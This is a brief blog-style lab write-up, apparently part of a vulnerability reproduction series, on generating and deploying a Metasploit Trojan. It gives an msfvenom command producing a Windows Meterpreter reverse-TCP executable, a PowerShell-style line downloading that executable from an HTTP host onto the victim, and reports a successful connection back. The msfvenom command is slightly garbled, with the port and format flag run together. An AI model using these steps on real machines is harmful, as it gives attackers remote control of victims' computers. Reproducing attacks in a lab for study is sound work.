WEB Vulnerability Reproduction and Analysis1 min read
Basic Use of an MSF Trojan
After trying EternalBlue, I saw someone using a Trojan, so I am adding the remaining steps. The environment is the same as in the previous article.
Read in Chinese→I just tried EternalBlue and saw someone using a Trojan, so I am adding the remaining steps.
The environment is the same as in the previous article.
-
First, use the msfvenom module to generate an .exe Trojan file
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.77.0.109 lport=4443f exe >/root/1.exe
1.exe is the Trojan. Use any available method to run it on the victim machine.
.DownloadFile( 'http://10.77.0.100/1.exe','c:\1.exe')
![Enter image description here](/images/20190606164405347.png Connection established successfully.
I’ll write about the follow-up later.